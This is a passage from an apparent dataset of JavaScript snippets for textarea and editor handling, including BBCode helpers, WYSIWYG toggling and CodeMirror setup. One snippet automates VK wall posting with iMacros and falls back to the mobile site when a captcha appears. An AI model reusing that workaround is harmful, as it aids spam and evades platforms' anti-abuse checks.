} else {\n $script.val(code);\n }\n }\n }, 900);\n }", "function insertBBCode(e,t,s){var a=document.querySelector(s),o=$(s),i=a.selectionStart,r=a.selectionEnd,l=o.val(),n=l.substring(i,r),c=e,d=t;o.val(l.substring(0,i)+c+n+d+l.substring(r)),a.focus(),a.selectionStart=i+c.length+n.length+d.length,a.selectionEnd=i+c.length+n.length+d.length}", "function postToEditor() {\n editor.html(extractToText(thisElement.val()));\n }", "function updateTextAreas() {\n MAPP.editors.htmlmixed.save();\n MAPP.editors.javascript.save();\n MAPP.editors.css.save();\n}", "function initEditor()\r\n{\r\n\t// Insert tab in the code box\r\n\t$('[name=\"data\"]').off('keydown').on('keydown', function (e)\r\n\t{\r\n\t\tif (e.keyCode == 9)\r\n\t\t{\r\n\t\t\tvar myValue = \"\\t\";\r\n\t\t\tvar startPos = this.selectionStart;\r\n\t\t\tvar endPos = this.selectionEnd;\r\n\t\t\tvar scrollTop = this.scrollTop;\r\n\r\n\t\t\tthis.value = this.value.substring(0, startPos) + myValue + this.value.substring(endPos,this.value.length);\r\n\t\t\tthis.focus();\r\n\t\t\tthis.selectionStart = startPos + myValue.length;\r\n\t\t\tthis.selectionEnd = startPos + myValue.length;\r\n\t\t\tthis.scrollTop = scrollTop;\r\n\r\n\t\t\te.preventDefault();\r\n\t\t}\r\n\t});\r\n\r\n\t// Tick the private checkbox if password is entered\r\n\t$('[name=\"password\"]').off('keyup').on('keyup', function()\r\n\t{\r\n\t\t$('[name=\"private\"]').attr('checked', $(this).val().length > 0);\r\n\t});\r\n}", "function SetCode(){\r\n//\tvar ret = window.confirm('Set original CSS. Are you sure?');\r\n//\tif(ret == true) {\r\n\t\t$(Form.textarea_id).value = Form.user_css;\r\n//\t}\r\n}", "function inputKeyUp(e) {\n var content = getContentElement().value;\n qrcode.makeCode(content);\n }", "function customText() {\n let text = document.querySelector(\"textarea\").value;\n let parsedText = validateText(text);\n if (parsedText != null) {\n setInitials();\n displayText(parsedText);\n }\n}", "function monitorText(event){\r\n\tvar frame = frames['editorText'];\r\n\tvar text = document.getElementById('htmlText');\r\n\r\n\tframe.srcdoc = \"<!DOCTYPE html><html><head><link href='editor/embedded.css' rel='stylesheet' type='text/css'></head><body><pre class='postTextPre'>\" + text.value + \"</pre></body></html>\";\r\n}", "function manipText(text) {\n text_area.innerHTML = text;\n\n}", "function postingVkWallMob(text) {iimDisplay('Капчта! Пытаемся с моб версии..'); window.document.querySelector('TEXTAREA.textfield').focus = function(){window.document.querySelector(\"TEXTAREA.textfield\").style.backgroundColor='red'; window.document.querySelector('TEXTAREA.textfield').click(); iimSet('text',text); iim(`SET !REPLAYSPEED medium \\n EVENT TYPE=KEYPRESS SELECTOR=\"TEXTAREA.textfield\" Char=\"a\" MODIFIERS=\"ctrl\" \\n EVENTS TYPE=KEYPRESS SELECTOR=\"TEXTAREA.textfield\" CHARS={{text}}\\nEVENT TYPE=CLICK SELECTOR=\".cp_buttons_block>INPUT\" BUTTON=0 \\n wait seconds=3`);}()}", "function save() {\r\n this.textarea.value = this.content();\r\n }", "function PasteText(_1){\r\nthis.editor=_1;\r\nvar _2=_1.config;\r\nvar _3=this;\r\n_2.registerButton({id:\"pastetext\",tooltip:this._lc(\"Paste as Plain Text\"),image:_1.imgURL(\"ed_paste_text.gif\",\"PasteText\"),textMode:false,action:function(_4){\r\n_3.buttonPress(_4);\r\n}});\r\n_2.addToolbarElement(\"pastetext\",[\"paste\",\"killword\"],1);\r\n}", "function changeText() {\n \n }", "function exampleCode(id, text) {\n /* fill examples into the editor */\n $(id).click(function(e) {\n editor.setValue(text);\n editor.focus(); // so that F5 works, hmm\n });\n}", "function applyCode() {\n const wat = getEditorContent(watCodeMirror);\n const js = getEditorContent(jsCodeMirror);\n updateOutput(wat, js);\n }", "function save() {\n this.textarea.value = this.content();\n }", "function manage_text( code, shape_data )\n\t{\n\t\t//builds raphael shape\n\t\tlogger(\"build raph text\");\n\t\tlogger(shape_data.out_text);\n\t\t//create text\n\t\tthis.shapes[code] = this.Raph.text(shape_data.xx, shape_data.yy, shape_data.out_text);\n\n\t\t//set up color\n\t\tthis.shapes[code].attr(\"fill\", shape_data.text_color);\n\t\t//set up font family\n\t\tthis.shapes[code].attr(\"font-family\", shape_data.font_family );\n\t\t//set up font size\n\t\tthis.shapes[code].attr(\"font-size\", shape_data.font_size );\n\t\t//set up line weight\n\t\tthis.shapes[code].attr(\"font-weight\", shape_data.font_weight );\n\n\t\treturn code;\n\t}", "function aef_editor() {\n this.wysiwyg_id = 'aefwysiwyg';\n this.textarea_id = 'post';\n this.text = '';\n this.on = false;\n this.flashw = 200;\n this.flashh = 200;\n this.toggle = function () {\n if (this.on) {\n this.to_normal()\n } else {\n this.to_wysiwyg()\n }\n };\n\n this.onsubmit = function () {\n if (this.on) {\n return this.to_normal(false)\n }\n };\n\n this.to_wysiwyg = function (dontalert) {\n var pos = findelpos($(this.textarea_id));\n if (!document.getElementById || !document.designMode) {\n if (dontalert != true) {\n alert('Your Browser does not support WYSIWYG.')\n }\n return false\n }\n $(this.wysiwyg_id).style.left = pos[0] + 'px';\n $(this.wysiwyg_id).style.top = pos[1] + 'px';\n hideel(this.textarea_id);\n showel(this.wysiwyg_id);\n this.wysiwyg = $(this.wysiwyg_id).contentWindow.document;\n this.wysiwyg.open();\n this.wysiwyg.write('<html><head><style>p{margin: 1px; padding: 0px;} img{border: 0px solid #000000;vertical-align: middle;}</style></head><body style=\"font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;\"></body></html>');\n this.wysiwyg.close();\n if (this.wysiwyg.body.contentEditable) {\n this.wysiwyg.body.contentEditable = true\n } else {\n this.wysiwyg.designMode = 'On'\n }\n this.wysiwyg.body.innerHTML = bbc_html($(this.textarea_id).value);\n this.on = true;\n return true\n };\n\n this.to_normal = function (tryfocus) {\n hideel(this.wysiwyg_id);\n showel(this.textarea_id);\n $(this.textarea_id).value = html_bbc(this.wysiwyg.body.innerHTML);\n this.wysiwyg.body.innerHTML = '';\n this.on = false;\n if (tryfocus != false) {\n $(this.textarea_id).focus()\n }\n return true\n };\n\n this.format = function (tag) {\n if (tag == '[b]') {\n this.exec('Bold', false, null)\n } else if (tag == '[i]') {\n this.exec('Italic', false, null)\n } else if (tag == '[u]') {\n this.exec('Underline', false, null)\n } else if (tag == '[s]') {\n this.exec('Strikethrough', false, null)\n } else if (tag == '[left]') {\n this.exec('Justifyleft', false, null)\n } else if (tag == '[center]') {\n this.exec('Justifycenter', false, null)\n } else if (tag == '[right]') {\n this.exec('Justifyright', false, null)\n } else if (/\\[size=(\\d){1}\\]/.test(tag)) {\n this.exec('FontSize', false, RegExp.$1)\n } else if (/\\[font=(.+)\\]/.test(tag)) {\n this.exec('FontName', false, RegExp.$1)\n } else if (/\\[color=(\\#.{6})\\]/.test(tag)) {\n this.exec('ForeColor', false, RegExp.$1)\n } else if (tag == '[img]') {\n var img = prompt(\"Please enter the URL of the image\", \"http://\");\n if (img) {\n this.exec('InsertImage', false, img)\n }\n } else if (/\\[flash=([0-9]+),([0-9]+)\\]/.test(tag)) {\n this.wrap(tag, '[/flash]')\n } else if (tag == '[ol]\\n[li][/li]\\n') {\n this.exec('InsertOrderedList', false, null)\n } else if (tag == '[ul]\\n[li][/li]\\n') {\n this.exec('InsertUnorderedList', false, null)\n } else if (tag == '[li]') {\n } else if (tag == '[sup]') {\n this.exec('Superscript', false, null)\n } else if (tag == '[sub]') {\n this.exec('Subscript', false, null)\n } else if (tag == '[hr]') {\n this.exec('InsertHorizontalRule', false, null)\n } else if (tag == '[quote]') {\n this.wrap('[quote]', '[/quote]')\n } else if (tag == '[code]') {\n this.wrap('[code]', '[/code]')\n } else if (tag == '[php]') {\n this.wrap('[php]', '[/php]')\n }\n };\n\n this.insertemot = function (emotcode, url) {\n $(this.wysiwyg_id).contentWindow.focus();\n this.wrap('&nbsp;<img src=\"' + url + '\">&nbsp;', '', true)\n };\n\n this.exec = function (command, ui, value) {\n $(this.wysiwyg_id).contentWindow.focus();\n this.wysiwyg.execCommand(command, ui, value)\n };\n\n this.wrap = function (starttag, endtag, replace) {\n var doc = $(this.wysiwyg_id).contentWindow;\n doc.focus();\n if (window.ActiveXObject) {\n var txt = starttag + ((replace == true) ? '' : this.wysiwyg.selection.createRange().text) + endtag;\n this.wysiwyg.selection.createRange().pasteHTML(txt)\n } else {\n var txt = starttag + ((replace == true) ? '' : $(this.wysiwyg_id).contentWindow.getSelection()) + endtag;\n this.exec('insertHTML', false, txt)\n }\n };\n\n this.insertlink = function (url) {\n var txt;\n if (!url) {\n return\n }\n if (window.ActiveXObject) {\n txt = this.wysiwyg.selection.createRange().text\n } else {\n txt = $(this.wysiwyg_id).contentWindow.getSelection()\n }\n if (txt.toString().length != 0) {\n try {\n this.exec('Unlink', false, null);\n this.exec('CreateLink', false, url)\n } catch (e) {\n }\n } else {\n this.wrap('<a href=\"' + url + '\">' + url, '</a>')\n }\n };\n\n this.wrap_bbc = function (starttag, endtag) {\n if (this.on) {\n this.format(starttag);\n return\n }\n var field = $(this.textarea_id);\n if (typeof(field.caretPos) != \"undefined\" && field.createTextRange) {\n field.focus();\n var sel = field.caretPos;\n var tmp_len = sel.text.length;\n sel.text = sel.text.charAt(sel.text.length - 1) == ' ' ? starttag + sel.text + endtag + ' ' : starttag + sel.text + endtag;\n if (tmp_len == 0) {\n sel.moveStart(\"character\", -endtag.length);\n sel.moveEnd(\"character\", -endtag.length);\n sel.select()\n } else {\n field.focus(sel)\n }\n } else if (field.selectionStart || field.selectionStart == '0') {\n var startPos = field.selectionStart;\n var endPos = field.selectionEnd;\n field.value = field.value.substring(0, startPos) + starttag + field.value.substring(startPos, endPos) + endtag + field.value.substring(endPos, field.value.length)\n } else {\n field.value += starttag + endtag;\n field.focus(field.value.length - 1)\n }\n };\n\n this.insertemot_code = function (emotcode, url) {\n if (this.on) {\n this.insertemot(emotcode, url);\n return\n }\n emotcode = ' ' + emotcode + ' ';\n var field = $(this.textarea_id);\n if (typeof(field.caretPos) != \"undefined\" && field.createTextRange) {\n var sel = field.caretPos;\n var tmp_len = sel.text.length;\n sel.text = sel.text.charAt(sel.text.length - 1) == ' ' ? emotcode + ' ' : emotcode;\n field.focus(sel)\n } else if (field.selectionStart || field.selectionStart == '0') {\n var startPos = field.selectionStart;\n var endPos = field.selectionEnd;\n field.value = field.value.substring(0, startPos) + emotcode + field.value.substring(endPos, field.value.length)\n } else {\n field.value += emotcode\n }\n }\n}", "addToTextArea(value){\n let field = document.getElementById('formControlTextarea');\n this.insertAtCursor(field, value);\n }", "function updateTextArea(n) {\r\n document.getElementById(n).value = document.getElementById(\"wysiwyg\" + n).contentWindow.document.body.innerHTML;\r\n}", "function selectTextarea() {\n\t$('.exporter').on('click focus','#exportcode',function() {\n\t\tthis.focus();\n\t\tthis.select();\n\t});\n}", "function load() {\n this.setContent(this.textarea.value);\n }", "highlightCode() {\n hljs.highlightElement(this.el);\n }", "textChange() {\n core.dxp.log.debug('Inside textChange');\n this.assignPlaceholderText();\n }", "drawTextArea() {\n return (\n <TextField\n className=\"tyyli1\"\n onChange={event => {\n // this.state.fieldvalue = event.target.value;\n this.setState({ fieldvalue: event.target.value });\n }}\n >\n {' '}\n </TextField>\n );\n }", "onTextChange()\n {\n let data = this.pad.getContents()\n\n // add type\n data[\"@type\"] = \"mycelium::rich-text\"\n\n this.shroom.setData(this.key, data)\n }", "function load() {\r\n this.setContent(this.textarea.value);\r\n }", "function textarea(){\r\n if (current_txt){\r\n $('#write').val(current_txt)\r\n }\r\n // Save text when minimizing\r\n $('#power-btn, .const-btn').one('mousedown', function(){\r\n current_txt = $('#write').val()\r\n })\r\n}", "function plainTextOnPaste() {\n $editors.find('.text').on('paste', function () {\n var _self = this;\n var plaintext;\n setTimeout(function () {\n plaintext = _self.textContent;\n $(_self).text(plaintext);\n }, 3);\n });\n }", "function appendText() {\n var currentItem = $('.select');\n if(currentItem.hasClass('resize'))\n currentItem.html(remover + '<textarea id=\"textarea' + (++textareaNum) + '\" class=\"tinyMCETextArea\"></textarea><div class=\"tinyMCETextAreaDisplay\"></div>'+inputs);\n else\n currentItem.html(shiftLeft+shiftRight+remover + '<textarea id=\"textarea' + (++textareaNum) + '\" class=\"tinyMCETextArea\"></textarea><div class=\"tinyMCETextAreaDisplay\"></div>'+inputs);\n\n if(currentItem.parents('#active').size() == 1)\n createTextAreaTinyMCE('textarea'+textareaNum);\n else\n removeTextAreaTinyMCE('textarea'+textareaNum);\n\n currentItem.removeClass('select');\n hideLateralArrows();\n}", "function runCode() {\n\t\tset_code(data);\n\t}", "function editor_tools_handle_s() {\n editor_tools_add_tags('[s]', '[/s]');\n editor_tools_focus_textarea();\n}", "function setCodeExamples(){\n\n\t\n\n\tvar html=\"\";\n\t$('*[data-language]').each(function(){\n\t\tvar code=$(this).html();\n\t\tcode=code.replace(/</g,\"&lt;\");\n\t \tcode=code.replace(/>/g,\"&gt;\");\n\t \tcode=$.trim(code);\n\n\t \tif(code!==\"\"){\n\t\t \thtml+=\"<h3>\"+$(this).attr('data-language-label')+\"</h3>\";\n\t\t \thtml+='<pre class=\"'+$(this).attr('data-language')+' line-numbers\"><code class=\"'+$(this).attr('data-language')+' line-numbers\">'+code+'</code></pre>';\n\t\t}\n\t});\n\n $('#code_prisim').html(html);\n if(html==\"\"){\n $('#headPreview').hide();\n\t}\n\t\n\tsetTimeout(function(){\n\t\t$('.code-toolbar').attr('tabindex','0').addClass('prismButtonListenerAdded');\n\t\t$(document).on('click','.code-toolbar .toolbar-item a',function(){\n\t\t\t$(this).parents('.code-toolbar:first').focus();\n\t\t})\n\t\t$('.code-toolbar .toolbar-item a').attr('tabindex','0').attr(\"href\",\"javascript:void(0)\").attr('role','button');\n\t\t$('.code-toolbar').focusin(function(){\t\n\t\t\t$(this).find('.toolbar').css('opacity','1')\n\t\t})\n\t\t$('.code-toolbar').focusout(function(){\n\t\t\t$(this).find('.toolbar').removeAttr('style')\n\t\t})\n\t},200)\n\t\n\n}", "updateResult() {\n let borderRad = this.create.css('border-radius'),\n brColor = this.create.css('border-color'),\n bgColor = this.create.css('background-color');\n\n this.codeResultArea.text(\n 'border-radius: ' + borderRad + ';\\n' +\n 'border-color: ' + brColor + ';\\n' +\n 'background-color: ' + bgColor + ';'\n )\n\n }", "function tarea() {\n var boxTextoValue = getInputValue();\n if (boxTextoValue !== \"\") {\n doTarea(boxTextoValue);\n clean();\n }\n}", "function processCode() {\n var code = editor.getValue();\n\n if (!code.length) {\n console.setOutput('Please supply some code...');\n return;\n }\n\n sidebar.shareCode(code);\n\n console.toggleSpinner(true);\n\n mixpanel.track('Code Run', {code: code});\n\n editor.evaluateCode({evalURL: evalURL})\n .done(processResponse)\n .fail(processFatalError);\n}", "function Display(place, doc) {\n var d = this;\n\n // The semihidden textarea that is focused when the editor is\n // focused, and receives input.\n var input = d.input = elt(\"textarea\", null, null, \"position: absolute; padding: 0; width: 1px; height: 1em; outline: none\");\n // The textarea is kept positioned near the cursor to prevent the\n // fact that it'll be scrolled into view on input from scrolling\n // our fake cursor out of view. On webkit, when wrap=off, paste is\n // very slow. So make the area wide instead.\n if (webkit) input.style.width = \"1000px\";\n else input.setAttribute(\"wrap\", \"off\");\n // If border: 0; -- iOS fails to open keyboard (issue #1287)\n if (ios) input.style.border = \"1px solid black\";\n input.setAttribute(\"autocorrect\", \"off\"); input.setAttribute(\"autocapitalize\", \"off\"); input.setAttribute(\"spellcheck\", \"false\");\n\n // Wraps and hides input textarea\n d.inputDiv = elt(\"div\", [input], null, \"overflow: hidden; position: relative; width: 3px; height: 0px;\");\n // Covers bottom-right square when both scrollbars are present.\n d.scrollbarFiller = elt(\"div\", null, \"CodeMirror-scrollbar-filler\");\n d.scrollbarFiller.setAttribute(\"not-content\", \"true\");\n // Covers bottom of gutter when coverGutterNextToScrollbar is on\n // and h scrollbar is present.\n d.gutterFiller = elt(\"div\", null, \"CodeMirror-gutter-filler\");\n d.gutterFiller.setAttribute(\"not-content\", \"true\");\n // Will contain the actual code, positioned to cover the viewport.\n d.lineDiv = elt(\"div\", null, \"CodeMirror-code\");\n // Elements are added to these to represent selection and cursors.\n d.selectionDiv = elt(\"div\", null, null, \"position: relative; z-index: 1\");\n d.cursorDiv = elt(\"div\", null, \"CodeMirror-cursors\");\n // A visibility: hidden element used to find the size of things.\n d.measure = elt(\"div\", null, \"CodeMirror-measure\");\n // When lines outside of the viewport are measured, they are drawn in this.\n d.lineMeasure = elt(\"div\", null, \"CodeMirror-measure\");\n // Wraps everything that needs to exist inside the vertically-padded coordinate system\n d.lineSpace = elt(\"div\", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],\n null, \"position: relative; outline: none\");\n // Moved around its parent to cover visible view.\n d.mover = elt(\"div\", [elt(\"div\", [d.lineSpace], \"CodeMirror-lines\")], null, \"position: relative\");\n // Set to the height of the document, allowing scrolling.\n d.sizer = elt(\"div\", [d.mover], \"CodeMirror-sizer\");\n d.sizerWidth = null;\n // Behavior of elts with overflow: auto and padding is\n // inconsistent across browsers. This is used to ensure the\n // scrollable area is big enough.\n d.heightForcer = elt(\"div\", null, null, \"position: absolute; height: \" + scrollerGap + \"px; width: 1px;\");\n // Will contain the gutters, if any.\n d.gutters = elt(\"div\", null, \"CodeMirror-gutters\");\n d.lineGutter = null;\n // Actual scrollable element.\n d.scroller = elt(\"div\", [d.sizer, d.heightForcer, d.gutters], \"CodeMirror-scroll\");\n d.scroller.setAttribute(\"tabIndex\", \"-1\");\n // The element in which the editor lives.\n d.wrapper = elt(\"div\", [d.inputDiv, d.scrollbarFiller, d.gutterFiller, d.scroller], \"CodeMirror\");\n\n // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)\n if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }\n // Needed to hide big blue blinking cursor on Mobile Safari\n if (ios) input.style.width = \"0px\";\n if (!webkit) d.scroller.draggable = true;\n // Needed to handle Tab key in KHTML\n if (khtml) { d.inputDiv.style.height = \"1px\"; d.inputDiv.style.position = \"absolute\"; }\n\n if (place) {\n if (place.appendChild) place.appendChild(d.wrapper);\n else place(d.wrapper);\n }\n\n // Current rendered range (may be bigger than the view window).\n d.viewFrom = d.viewTo = doc.first;\n d.reportedViewFrom = d.reportedViewTo = doc.first;\n // Information about the rendered lines.\n d.view = [];\n d.renderedView = null;\n // Holds info about a single rendered line when it was rendered\n // for measurement, while not in view.\n d.externalMeasured = null;\n // Empty space (in pixels) above the view\n d.viewOffset = 0;\n d.lastWrapHeight = d.lastWrapWidth = 0;\n d.updateLineNumbers = null;\n\n d.nativeBarWidth = d.barHeight = d.barWidth = 0;\n d.scrollbarsClipped = false;\n\n // Used to only resize the line number gutter when necessary (when\n // the amount of lines crosses a boundary that makes its width change)\n d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;\n // See readInput and resetInput\n d.prevInput = \"\";\n // Set to true when a non-horizontal-scrolling line widget is\n // added. As an optimization, line widget aligning is skipped when\n // this is false.\n d.alignWidgets = false;\n // Flag that indicates whether we expect input to appear real soon\n // now (after some event like 'keypress' or 'input') and are\n // polling intensively.\n d.pollingFast = false;\n // Self-resetting timeout for the poller\n d.poll = new Delayed();\n\n d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\n\n // Tracks when resetInput has punted to just putting a short\n // string into the textarea instead of the full selection.\n d.inaccurateSelection = false;\n\n // Tracks the maximum line length so that the horizontal scrollbar\n // can be kept static when scrolling.\n d.maxLine = null;\n d.maxLineLength = 0;\n d.maxLineChanged = false;\n\n // Used for measuring wheel scrolling granularity\n d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;\n\n // True when shift is held down.\n d.shift = false;\n\n // Used to track whether anything happened since the context menu\n // was opened.\n d.selForContextMenu = null;\n }", "function Display(place, doc) {\n var d = this;\n\n // The semihidden textarea that is focused when the editor is\n // focused, and receives input.\n var input = d.input = elt(\"textarea\", null, null, \"position: absolute; padding: 0; width: 1px; height: 1em; outline: none\");\n // The textarea is kept positioned near the cursor to prevent the\n // fact that it'll be scrolled into view on input from scrolling\n // our fake cursor out of view. On webkit, when wrap=off, paste is\n // very slow. So make the area wide instead.\n if (webkit) input.style.width = \"1000px\";\n else input.setAttribute(\"wrap\", \"off\");\n // If border: 0; -- iOS fails to open keyboard (issue #1287)\n if (ios) input.style.border = \"1px solid black\";\n input.setAttribute(\"autocorrect\", \"off\"); input.setAttribute(\"autocapitalize\", \"off\"); input.setAttribute(\"spellcheck\", \"false\");\n\n // Wraps and hides input textarea\n d.inputDiv = elt(\"div\", [input], null, \"overflow: hidden; position: relative; width: 3px; height: 0px;\");\n // Covers bottom-right square when both scrollbars are present.\n d.scrollbarFiller = elt(\"div\", null, \"CodeMirror-scrollbar-filler\");\n d.scrollbarFiller.setAttribute(\"not-content\", \"true\");\n // Covers bottom of gutter when coverGutterNextToScrollbar is on\n // and h scrollbar is present.\n d.gutterFiller = elt(\"div\", null, \"CodeMirror-gutter-filler\");\n d.gutterFiller.setAttribute(\"not-content\", \"true\");\n // Will contain the actual code, positioned to cover the viewport.\n d.lineDiv = elt(\"div\", null, \"CodeMirror-code\");\n // Elements are added to these to represent selection and cursors.\n d.selectionDiv = elt(\"div\", null, null, \"position: relative; z-index: 1\");\n d.cursorDiv = elt(\"div\", null, \"CodeMirror-cursors\");\n // A visibility: hidden element used to find the size of things.\n d.measure = elt(\"div\", null, \"CodeMirror-measure\");\n // When lines outside of the viewport are measured, they are drawn in this.\n d.lineMeasure = elt(\"div\", null, \"CodeMirror-measure\");\n // Wraps everything that needs to exist inside the vertically-padded coordinate system\n d.lineSpace = elt(\"div\", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],\n null, \"position: relative; outline: none\");\n // Moved around its parent to cover visible view.\n d.mover = elt(\"div\", [elt(\"div\", [d.lineSpace], \"CodeMirror-lines\")], null, \"position: relative\");\n // Set to the height of the document, allowing scrolling.\n d.sizer = elt(\"div\", [d.mover], \"CodeMirror-sizer\");\n d.sizerWidth = null;\n // Behavior of elts with overflow: auto and padding is\n // inconsistent across browsers. This is used to ensure the\n // scrollable area is big enough.\n d.heightForcer = elt(\"div\", null, null, \"position: absolute; height: \" + scrollerGap + \"px; width: 1px;\");\n // Will contain the gutters, if any.\n d.gutters = elt(\"div\", null, \"CodeMirror-gutters\");\n d.lineGutter = null;\n // Actual scrollable element.\n d.scroller = elt(\"div\", [d.sizer, d.heightForcer, d.gutters], \"CodeMirror-scroll\");\n d.scroller.setAttribute(\"tabIndex\", \"-1\");\n // The element in which the editor lives.\n d.wrapper = elt(\"div\", [d.inputDiv, d.scrollbarFiller, d.gutterFiller, d.scroller], \"CodeMirror\");\n\n // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)\n if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }\n // Needed to hide big blue blinking cursor on Mobile Safari\n if (ios) input.style.width = \"0px\";\n if (!webkit) d.scroller.draggable = true;\n // Needed to handle Tab key in KHTML\n if (khtml) { d.inputDiv.style.height = \"1px\"; d.inputDiv.style.position = \"absolute\"; }\n\n if (place) {\n if (place.appendChild) place.appendChild(d.wrapper);\n else place(d.wrapper);\n }\n\n // Current rendered range (may be bigger than the view window).\n d.viewFrom = d.viewTo = doc.first;\n d.reportedViewFrom = d.reportedViewTo = doc.first;\n // Information about the rendered lines.\n d.view = [];\n d.renderedView = null;\n // Holds info about a single rendered line when it was rendered\n // for measurement, while not in view.\n d.externalMeasured = null;\n // Empty space (in pixels) above the view\n d.viewOffset = 0;\n d.lastWrapHeight = d.lastWrapWidth = 0;\n d.updateLineNumbers = null;\n\n d.nativeBarWidth = d.barHeight = d.barWidth = 0;\n d.scrollbarsClipped = false;\n\n // Used to only resize the line number gutter when necessary (when\n // the amount of lines crosses a boundary that makes its width change)\n d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;\n // See readInput and resetInput\n d.prevInput = \"\";\n // Set to true when a non-horizontal-scrolling line widget is\n // added. As an optimization, line widget aligning is skipped when\n // this is false.\n d.alignWidgets = false;\n // Flag that indicates whether we expect input to appear real soon\n // now (after some event like 'keypress' or 'input') and are\n // polling intensively.\n d.pollingFast = false;\n // Self-resetting timeout for the poller\n d.poll = new Delayed();\n\n d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\n\n // Tracks when resetInput has punted to just putting a short\n // string into the textarea instead of the full selection.\n d.inaccurateSelection = false;\n\n // Tracks the maximum line length so that the horizontal scrollbar\n // can be kept static when scrolling.\n d.maxLine = null;\n d.maxLineLength = 0;\n d.maxLineChanged = false;\n\n // Used for measuring wheel scrolling granularity\n d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;\n\n // True when shift is held down.\n d.shift = false;\n\n // Used to track whether anything happened since the context menu\n // was opened.\n d.selForContextMenu = null;\n }", "function play(id){\n\texecute_text_area(id);\n}", "function Display(place, doc) {\n var d = this;\n\n // The semihidden textarea that is focused when the editor is\n // focused, and receives input.\n var input = d.input = elt(\"textarea\", null, null, \"position: absolute; padding: 0; width: 1px; height: 1em; outline: none\");\n // The textarea is kept positioned near the cursor to prevent the\n // fact that it'll be scrolled into view on input from scrolling\n // our fake cursor out of view. On webkit, when wrap=off, paste is\n // very slow. So make the area wide instead.\n if (webkit) input.style.width = \"1000px\";\n else input.setAttribute(\"wrap\", \"off\");\n // If border: 0; -- iOS fails to open keyboard (issue #1287)\n if (ios) input.style.border = \"1px solid black\";\n input.setAttribute(\"autocorrect\", \"off\"); input.setAttribute(\"autocapitalize\", \"off\"); input.setAttribute(\"spellcheck\", \"false\");\n\n // Wraps and hides input textarea\n d.inputDiv = elt(\"div\", [input], null, \"overflow: hidden; position: relative; width: 3px; height: 0px;\");\n // The fake scrollbar elements.\n d.scrollbarH = elt(\"div\", [elt(\"div\", null, null, \"height: 100%; min-height: 1px\")], \"CodeMirror-hscrollbar\");\n d.scrollbarV = elt(\"div\", [elt(\"div\", null, null, \"min-width: 1px\")], \"CodeMirror-vscrollbar\");\n // Covers bottom-right square when both scrollbars are present.\n d.scrollbarFiller = elt(\"div\", null, \"CodeMirror-scrollbar-filler\");\n // Covers bottom of gutter when coverGutterNextToScrollbar is on\n // and h scrollbar is present.\n d.gutterFiller = elt(\"div\", null, \"CodeMirror-gutter-filler\");\n // Will contain the actual code, positioned to cover the viewport.\n d.lineDiv = elt(\"div\", null, \"CodeMirror-code\");\n // Elements are added to these to represent selection and cursors.\n d.selectionDiv = elt(\"div\", null, null, \"position: relative; z-index: 1\");\n d.cursorDiv = elt(\"div\", null, \"CodeMirror-cursors\");\n // A visibility: hidden element used to find the size of things.\n d.measure = elt(\"div\", null, \"CodeMirror-measure\");\n // When lines outside of the viewport are measured, they are drawn in this.\n d.lineMeasure = elt(\"div\", null, \"CodeMirror-measure\");\n // Wraps everything that needs to exist inside the vertically-padded coordinate system\n d.lineSpace = elt(\"div\", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],\n null, \"position: relative; outline: none\");\n // Moved around its parent to cover visible view.\n d.mover = elt(\"div\", [elt(\"div\", [d.lineSpace], \"CodeMirror-lines\")], null, \"position: relative\");\n // Set to the height of the document, allowing scrolling.\n d.sizer = elt(\"div\", [d.mover], \"CodeMirror-sizer\");\n // Behavior of elts with overflow: auto and padding is\n // inconsistent across browsers. This is used to ensure the\n // scrollable area is big enough.\n d.heightForcer = elt(\"div\", null, null, \"position: absolute; height: \" + scrollerCutOff + \"px; width: 1px;\");\n // Will contain the gutters, if any.\n d.gutters = elt(\"div\", null, \"CodeMirror-gutters\");\n d.lineGutter = null;\n // Actual scrollable element.\n d.scroller = elt(\"div\", [d.sizer, d.heightForcer, d.gutters], \"CodeMirror-scroll\");\n d.scroller.setAttribute(\"tabIndex\", \"-1\");\n // The element in which the editor lives.\n d.wrapper = elt(\"div\", [d.inputDiv, d.scrollbarH, d.scrollbarV,\n d.scrollbarFiller, d.gutterFiller, d.scroller], \"CodeMirror\");\n\n // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)\n if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }\n // Needed to hide big blue blinking cursor on Mobile Safari\n if (ios) input.style.width = \"0px\";\n if (!webkit) d.scroller.draggable = true;\n // Needed to handle Tab key in KHTML\n if (khtml) { d.inputDiv.style.height = \"1px\"; d.inputDiv.style.position = \"absolute\"; }\n // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).\n if (ie && ie_version < 8) d.scrollbarH.style.minHeight = d.scrollbarV.style.minWidth = \"18px\";\n\n if (place) {\n if (place.appendChild) place.appendChild(d.wrapper);\n else place(d.wrapper);\n }\n\n // Current rendered range (may be bigger than the view window).\n d.viewFrom = d.viewTo = doc.first;\n // Information about the rendered lines.\n d.view = [];\n // Holds info about a single rendered line when it was rendered\n // for measurement, while not in view.\n d.externalMeasured = null;\n // Empty space (in pixels) above the view\n d.viewOffset = 0;\n d.lastWrapHeight = d.lastWrapWidth = 0;\n d.updateLineNumbers = null;\n\n // Used to only resize the line number gutter when necessary (when\n // the amount of lines crosses a boundary that makes its width change)\n d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;\n // See readInput and resetInput\n d.prevInput = \"\";\n // Set to true when a non-horizontal-scrolling line widget is\n // added. As an optimization, line widget aligning is skipped when\n // this is false.\n d.alignWidgets = false;\n // Flag that indicates whether we expect input to appear real soon\n // now (after some event like 'keypress' or 'input') and are\n // polling intensively.\n d.pollingFast = false;\n // Self-resetting timeout for the poller\n 